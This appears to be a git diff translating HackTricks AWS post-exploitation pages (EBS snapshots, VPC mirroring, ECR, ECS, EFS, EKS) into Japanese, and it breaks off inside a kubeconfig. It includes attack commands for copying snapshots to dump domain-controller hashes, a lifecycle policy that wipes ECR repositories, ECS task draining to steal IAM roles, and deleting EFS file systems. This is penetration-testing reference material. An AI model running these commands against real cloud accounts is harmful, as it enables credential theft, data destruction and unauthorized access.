a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md index 7a9a19cc4..22006b900 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -1,9 +1,8 @@ -# AWS - EBS Snapshot Dump +# AWS - EBS スナップショットダンプ {{#include ../../../../banners/hacktricks-training.md}} -## Checking a snapshot locally - +## スナップショットをローカルで確認する ```bash # Install dependencies pip install 'dsnap[cli]' @@ -32,10 +31,8 @@ cd dsnap make docker/build IMAGE=".img" make docker/run #With the snapshot downloaded ``` - > [!CAUTION] -> **Note** that `dsnap` will not allow you to download public snapshots. To circumvent this, you can make a copy of the snapshot in your personal account, and download that: - +> **注意** `dsnap` は公開スナップショットをダウンロードすることを許可しません。これを回避するために、スナップショットをあなたの個人アカウントにコピーし、それをダウンロードすることができます: ```bash # Copy the snapshot aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57" @@ -49,59 +46,55 @@ dsnap --region us-east-2 get snap-027da41be451109da # Delete the snapshot after downloading aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2 ``` +この技術の詳細については、[https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)の元の研究を確認してください。 -For more info on this technique check the original research in [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) - -You can do this with Pacu using the module [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) - -## Checking a snapshot in AWS +Pacuを使用して、モジュール[ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots)でこれを行うことができます。 +## AWSでスナップショットを確認する ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89 ``` +**あなたの管理下にあるEC2 VMにマウントします**（バックアップのコピーと同じリージョンにある必要があります）： -**Mount it in a EC2 VM under your control** (it has to be in the same region as the copy of the backup): +ステップ1：EC2 –> ボリュームに移動して、好みのサイズとタイプの新しいボリュームを作成します。 -Step 1: A new volume of your preferred size and type is to be created by heading over to EC2 –> Volumes. +このアクションを実行するには、次のコマンドに従ってください： -To be able to perform this action, follow these commands: +- EC2インスタンスにアタッチするEBSボリュームを作成します。 +- EBSボリュームとインスタンスが同じゾーンにあることを確認します。 -- Create an EBS volume to attach to the EC2 instance. -- Ensure that the EBS volume and the instance are in the same zone. +ステップ2：作成したボリュームを右クリックして「ボリュームをアタッチ」オプションを選択します。 -Step 2: The "attach volume" option is to be selected by right-clicking on the created volume. +ステップ3：インスタンステキストボックスからインスタンスを選択します。 -Step 3: The instance from the instance text box is to be selected. +このアクションを実行するには、次のコマンドを使用します： -To be able to perform this action, use the following command: +- EBSボリュームをアタッチします。 -- Attach the EBS volume. +ステップ4：EC2インスタンスにログインし、コマンド`lsblk`を使用して利用可能なディスクをリストします。 -Step 4: Login to the EC2 instance and list the available disks using the command `lsblk`. +ステップ5：コマンド`sudo file -s /dev/xvdf`を使用して、ボリュームにデータがあるかどうかを確認します。 -Step 5: Check if the volume has any data using the command `sudo file -s /dev/xvdf`. +上記のコマンドの出力が「/dev/xvdf: data」と表示される場合、ボリュームは空です。 -If the output of the above command shows "/dev/xvdf: data", it means the volume is empty. +ステップ6：コマンド`sudo mkfs -t ext4 /dev/xvdf`を使用して、ボリュームをext4ファイルシステムにフォーマットします。代わりに、コマンド`sudo mkfs -t xfs /dev/xvdf`を使用してxfsフォーマットを使用することもできます。ext4またはxfsのいずれかを使用する必要があることに注意してください。 -Step 6: Format the volume to the ext4 filesystem using the command `sudo mkfs -t ext4 /dev/xvdf`. Alternatively, you can also use the xfs format by using the command `sudo mkfs -t xfs /dev/xvdf`. Please note that you should use either ext4 or xfs. +ステップ7：新しいext4ボリュームをマウントするための任意のディレクトリを作成します。たとえば、「newvolume」という名前を使用できます。 -Step 7: Create a directory of your choice to mount the new ext4 volume. For example, you can use the name "newvolume". +このアクションを実行するには、コマンド`sudo mkdir /newvolume`を使用します。 -To be able to perform this action, use the command `sudo mkdir /newvolume`. +ステップ8：コマンド`sudo mount /dev/xvdf /newvolume/`を使用して、ボリュームを「newvolume」ディレクトリにマウントします。 -Step 8: Mount the volume to the "newvolume" directory using the command `sudo mount /dev/xvdf /newvolume/`. +ステップ9：「newvolume」ディレクトリに移動し、ディスクスペースを確認してボリュームマウントを検証します。 -Step 9: Change directory to the "newvolume" directory and check the disk space to validate the volume mount. +このアクションを実行するには、次のコマンドを使用します： -To be able to perform this action, use the following commands: +- ディレクトリを`/newvolume`に変更します。 +- コマンド`df -h .`を使用してディスクスペースを確認します。このコマンドの出力は、「newvolume」ディレクトリの空きスペースを表示する必要があります。 -- Change directory to `/newvolume`. -- Check the disk space using the command `df -h .`. The output of this command should show the free space in the "newvolume" directory. - -You can do this with Pacu using the module `ebs__explore_snapshots`. - -## Checking a snapshot in AWS (using cli) +これをPacuを使用して、モジュール`ebs__explore_snapshots`で行うことができます。 +## AWSでスナップショットを確認する（cliを使用） ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id @@ -127,19 +120,14 @@ sudo mount /dev/xvdh1 /mnt ls /mnt ``` - ## Shadow Copy -Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project. +任意のAWSユーザーが**`EC2:CreateSnapshot`**権限を持っている場合、**ドメインコントローラーのスナップショットを作成**し、それを自分が制御するインスタンスにマウントすることで、すべてのドメインユーザーのハッシュを盗むことができます。そして、Impacketのsecretsdumpプロジェクトで使用するために**NTDS.ditとSYSTEM**レジストリハイブファイルを**エクスポート**します。 -You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot. +このツールを使用して攻撃を自動化できます: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) またはスナップショットを作成した後に以前の技術の1つを使用することもできます。 ## References - [https://devopscube.com/mount-ebs-volume-ec2-instance/](https://devopscube.com/mount-ebs-volume-ec2-instance/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md index eb3b5f33f..a3e9fb684 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md @@ -4,16 +4,12 @@ **Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!** -Passive network inspection in a cloud environment has been **challenging**, requiring major configuration changes to monitor network traffic. However, a new feature called “**VPC Traffic Mirroring**” has been introduced by AWS to simplify this process. With VPC Traffic Mirroring, network traffic within VPCs can be **duplicated** without installing any software on the instances themselves. This duplicated traffic can be sent to a network intrusion detection system (IDS) for **analysis**. +クラウド環境におけるパッシブネットワーク検査は**困難**であり、ネットワークトラフィックを監視するためには大規模な構成変更が必要でした。しかし、AWSによって「**VPCトラフィックミラーリング**」という新機能が導入され、このプロセスが簡素化されました。VPCトラフィックミラーリングを使用すると、VPC内のネットワークトラフィックを**複製**でき、インスタンス自体にソフトウェアをインストールする必要がありません。この複製されたトラフィックは、ネットワーク侵入検知システム（IDS）に送信されて**分析**されることができます。 -To address the need for **automated deployment** of the necessary infrastructure for mirroring and exfiltrating VPC traffic, we have developed a proof-of-concept script called “**malmirror**”. This script can be used with **compromised AWS credentials** to set up mirroring for all supported EC2 instances in a target VPC. It is important to note that VPC Traffic Mirroring is only supported by EC2 instances powered by the AWS Nitro system, and the VPC mirror target must be within the same VPC as the mirrored hosts. +VPCトラフィックをミラーリングおよび抽出するために必要なインフラの**自動デプロイメント**のニーズに応えるために、「**malmirror**」という概念実証スクリプトを開発しました。このスクリプトは、**侵害されたAWS資格情報**を使用して、ターゲットVPC内のすべてのサポートされているEC2インスタンスのミラーリングを設定するために使用できます。VPCトラフィックミラーリングは、AWS Nitroシステムによって動作するEC2インスタンスのみがサポートされており、VPCミラーターゲットはミラーリングされたホストと同じVPC内でなければならないことに注意が必要です。 -The **impact** of malicious VPC traffic mirroring can be significant, as it allows attackers to access **sensitive information** transmitted within VPCs. The **likelihood** of such malicious mirroring is high, considering the presence of **cleartext traffic** flowing through VPCs. Many companies use cleartext protocols within their internal networks for **performance reasons**, assuming traditional man-in-the-middle attacks are not possible. +悪意のあるVPCトラフィックミラーリングの**影響**は重大であり、攻撃者がVPC内で送信される**機密情報**にアクセスできるようになります。このような悪意のあるミラーリングの**可能性**は高く、VPC内を流れる**平文トラフィック**の存在を考慮すると、特にそうです。多くの企業は、**パフォーマンスの理由**から内部ネットワーク内で平文プロトコルを使用しており、従来の中間者攻撃が不可能であると仮定しています。 -For more information and access to the [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), it can be found on our **GitHub repository**. The script automates and streamlines the process, making it **quick, simple, and repeatable** for offensive research purposes. +詳細情報および[**malmirrorスクリプト**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror)へのアクセスは、私たちの**GitHubリポジトリ**で見つけることができます。このスクリプトはプロセスを自動化し、簡素化するため、攻撃的研究目的において**迅速、簡単、かつ繰り返し可能**です。 {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md index a971ea769..5fcbd4667 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md @@ -1,17 +1,16 @@ -# AWS - ECR Post Exploitation +# AWS - ECR ポストエクスプロイテーション {{#include ../../../banners/hacktricks-training.md}} ## ECR -For more information check +詳細については、以下を確認してください {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} -### Login, Pull & Push - +### ログイン、プル & プッシュ ```bash # Docker login into ecr ## For public repo (always use us-east-1) @@ -38,17 +37,16 @@ docker push .dkr.ecr..amazonaws.com/purplepanda:latest # Downloading without Docker # List digests aws ecr batch-get-image --repository-name level2 \ - --registry-id 653711331788 \ - --image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' +--registry-id 653711331788 \ +--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' ## Download a digest aws ecr get-download-url-for-layer \ - --repository-name level2 \ - --registry-id 653711331788 \ - --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" +--repository-name level2 \ +--registry-id 653711331788 \ +--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` - -After downloading the images you should **check them for sensitive info**: +ダウンロードした画像は、**機密情報を確認する必要があります**： {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics @@ -56,25 +54,24 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` -An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository. - +これらの権限を持つ攻撃者は、**リポジトリ内のすべての画像を削除するライフサイクルポリシーを作成または変更し、次に** **ECRリポジトリ全体を削除する**ことができます。これにより、リポジトリに保存されているすべてのコンテナ画像が失われます。 ```bash bashCopy code# Create a JSON file with the malicious lifecycle policy echo '{ - "rules": [ - { - "rulePriority": 1, - "description": "Delete all images", - "selection": { - "tagStatus": "any", - "countType": "imageCountMoreThan", - "countNumber": 0 - }, - "action": { - "type": "expire" - } - } - ] +"rules": [ +{ +"rulePriority": 1, +"description": "Delete all images", +"selection": { +"tagStatus": "any", +"countType": "imageCountMoreThan", +"countNumber": 0 +}, +"action": { +"type": "expire" +} +} +] }' > malicious_policy.json # Apply the malicious lifecycle policy to the ECR repository @@ -92,9 +89,4 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag # Delete multiple images from the ECR public repository aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md index 1d2fd80a5..06b54f64f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md @@ -1,53 +1,48 @@ -# AWS - ECS Post Exploitation +# AWS - ECS ポストエクスプロイテーション {{#include ../../../banners/hacktricks-training.md}} ## ECS -For more information check: +詳細については、以下を確認してください： {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### Host IAM Roles +### ホスト IAM ロール -In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\ -Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check: +ECS では、**IAM ロールをコンテナ内で実行されているタスクに割り当てることができます**。**もし**タスクが**EC2**インスタンス内で実行されている場合、**EC2 インスタンス**には**別の IAM**ロールが付与されます。\ +つまり、ECS インスタンスを**侵害**することに成功すれば、**ECR および EC2 インスタンスに関連付けられた IAM ロールを取得する可能性があります**。これらの資格情報を取得する方法についての詳細は、以下を確認してください： {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} > [!CAUTION] -> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance. +> EC2 インスタンスが IMDSv2 を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUT リクエストの応答**は**ホップ制限が 1**となり、EC2 インスタンス内のコンテナから EC2 メタデータにアクセスすることが不可能になります。 -### Privesc to node to steal other containers creds & secrets +### ノードへの特権昇格と他のコンテナの資格情報および秘密の盗難 -But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached. +さらに、EC2 は ECs タスクを実行するために Docker を使用しているため、ノードにエスケープするか、**Docker ソケットにアクセス**できれば、**他のコンテナ**がどのように実行されているかを**確認**でき、さらには**それらの中に入って**、**付与された IAM ロールを盗む**ことができます。 -#### Making containers run in current host - -Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container. +#### 現在のホストでコンテナを実行する +さらに、**EC2 インスタンスロール**は通常、クラスター内のノードとして使用されている EC2 インスタンスの**コンテナインスタンスの状態を更新する**のに十分な**権限**を持っています。攻撃者は、**インスタンスの状態を DRAINING に変更**することができ、その後 ECS は**すべてのタスクをそこから削除**し、**REPLICA**として実行されているタスクは**別のインスタンスで実行される**ことになり、潜在的に**攻撃者のインスタンス内で**実行されるため、彼は**それらの IAM ロールを盗む**ことができ、コンテナ内の潜在的な機密情報を取得することができます。 ```bash aws ecs update-container-instances-state \ - --cluster --status DRAINING --container-instances +--cluster --status DRAINING --container-instances ``` - -The same technique can be done by **deregistering the EC2 instance from the cluster**. This is potentially less stealthy but it will **force the tasks to be run in other instances:** - +同じ技術は**クラスターからEC2インスタンスを登録解除することによって**行うことができます。これは潜在的にあまり隠密ではありませんが、**タスクを他のインスタンスで実行させることを強制します:** ```bash aws ecs deregister-container-instance \ - --cluster --container-instance --force +--cluster --container-instance --force ``` - -A final technique to force the re-execution of tasks is by indicating ECS that the **task or container was stopped**. There are 3 potential APIs to do this: - +タスクの再実行を強制するための最終的な技術は、ECSに**タスクまたはコンテナが停止した**ことを示すことです。これを行うための3つの潜在的なAPIがあります： ```bash # Needs: ecs:SubmitTaskStateChange aws ecs submit-task-state-change --cluster \ - --status STOPPED --reason "anything" --containers [...] +--status STOPPED --reason "anything" --containers [...] # Needs: ecs:SubmitContainerStateChange aws ecs submit-container-state-change ... @@ -55,13 +50,8 @@ aws ecs submit-container-state-change ... # Needs: ecs:SubmitAttachmentStateChanges aws ecs submit-attachment-state-changes ... ``` +### ECRコンテナから機密情報を盗む -### Steal sensitive info from ECR containers - -The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them). +EC2インスタンスは、おそらく`ecr:GetAuthorizationToken`の権限を持っており、**イメージをダウンロード**することができます（その中に機密情報を探すことができます）。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md index 35b644689..bb4a15002 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - EFS Post Exploitation +# AWS - EFS ポストエクスプロイテーション {{#include ../../../banners/hacktricks-training.md}} ## EFS -For more information check: +詳細については、以下を確認してください： {{#ref}} ../aws-services/aws-efs-enum.md @@ -12,47 +12,35 @@ For more information check: ### `elasticfilesystem:DeleteMountTarget` -An attacker could delete a mount target, potentially disrupting access to the EFS file system for applications and users relying on that mount target. - +攻撃者はマウントターゲットを削除することができ、アプリケーションやユーザーがそのマウントターゲットに依存している場合、EFSファイルシステムへのアクセスが中断される可能性があります。 ```sql aws efs delete-mount-target --mount-target-id ``` - -**Potential Impact**: Disruption of file system access and potential data loss for users or applications. +**潜在的な影響**: ファイルシステムへのアクセスの中断と、ユーザーやアプリケーションのデータ損失の可能性。 ### `elasticfilesystem:DeleteFileSystem` -An attacker could delete an entire EFS file system, which could lead to data loss and impact applications relying on the file system. - +攻撃者は、EFSファイルシステム全体を削除することができ、これによりデータ損失が発生し、ファイルシステムに依存するアプリケーションに影響を与える可能性があります。 ```perl aws efs delete-file-system --file-system-id ``` - -**Potential Impact**: Data loss and service disruption for applications using the deleted file system. +**潜在的な影響**: 削除されたファイルシステムを使用しているアプリケーションに対するデータ損失とサービスの中断。 ### `elasticfilesystem:UpdateFileSystem` -An attacker could update the EFS file system properties, such as throughput mode, to impact its performance or cause resource exhaustion. - +攻撃者は、スループットモードなどのEFSファイルシステムのプロパティを更新し、そのパフォーマンスに影響を与えたり、リソースの枯渇を引き起こしたりする可能性があります。 ```sql aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps ``` +**潜在的影響**: ファイルシステムのパフォーマンスの低下またはリソースの枯渇。 -**Potential Impact**: Degradation of file system performance or resource exhaustion. - -### `elasticfilesystem:CreateAccessPoint` and `elasticfilesystem:DeleteAccessPoint` - -An attacker could create or delete access points, altering access control and potentially granting themselves unauthorized access to the file system. +### `elasticfilesystem:CreateAccessPoint` と `elasticfilesystem:DeleteAccessPoint` +攻撃者はアクセス・ポイントを作成または削除することで、アクセス制御を変更し、ファイルシステムへの不正アクセスを自らに付与する可能性があります。 ```arduino aws efs create-access-point --file-system-id --posix-user --root-directory aws efs delete-access-point --access-point-id ``` - -**Potential Impact**: Unauthorized access to the file system, data exposure or modification. +**潜在的な影響**: ファイルシステムへの不正アクセス、データの露出または変更。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md index eb1f77f46..112f17180 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md @@ -1,113 +1,104 @@ -# AWS - EKS Post Exploitation +# AWS - EKS ポストエクスプロイテーション {{#include ../../../banners/hacktricks-training.md}} ## EKS -For mor information check +詳細については、以下を確認してください {{#ref}} ../aws-services/aws-eks-enum.md {{#endref}} -### Enumerate the cluster from the AWS Console +### AWSコンソールからクラスターを列挙する -If you have the permission **`eks:AccessKubernetesApi`** you can **view Kubernetes objects** via AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). +**`eks:AccessKubernetesApi`** の権限がある場合、AWS EKSコンソールを介して**Kubernetesオブジェクトを表示**できます（[詳細はこちら](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)）。 -### Connect to AWS Kubernetes Cluster - -- Easy way: +### AWS Kubernetesクラスターに接続する +- 簡単な方法: ```bash # Generate kubeconfig aws eks update-kubeconfig --name aws-eks-dev ``` +- 簡単ではない方法: -- Not that easy way: - -If you can **get a token** with **`aws eks get-token --name `** but you don't have permissions to get cluster info (describeCluster), you could **prepare your own `~/.kube/config`**. However, having the token, you still need the **url endpoint to connect to** (if you managed to get a JWT token from a pod read [here](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) and the **name of the cluster**. - -In my case, I didn't find the info in CloudWatch logs, but I **found it in LaunchTemaplates userData** and in **EC2 machines in userData also**. You can see this info in **userData** easily, for example in the next example (the cluster name was cluster-name): +もし **`aws eks get-token --name `** で **トークンを取得できる** が、クラスター情報 (describeCluster) を取得する権限がない場合、**自分の `~/.kube/config` を準備する** ことができます。しかし、トークンを持っていても、接続するための **url エンドポイント** が必要です (ポッドから JWT トークンを取得できた場合は [こちら](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) を参照) と **クラスターの名前** が必要です。 +私の場合、CloudWatch ログでは情報を見つけられませんでしたが、**LaunchTemplates の userData** と **EC2 マシンの userData** で見つけました。この情報は **userData** で簡単に見ることができます。例えば、次の例では (クラスター名は cluster-name でした): ```bash API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com /etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false ``` -
kube config - ```yaml describe-cache-parametersapiVersion: v1 clusters: - - cluster: - certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== - server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com - name: arn:aws:eks:us-east-1::cluster/ +- cluster: +certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2R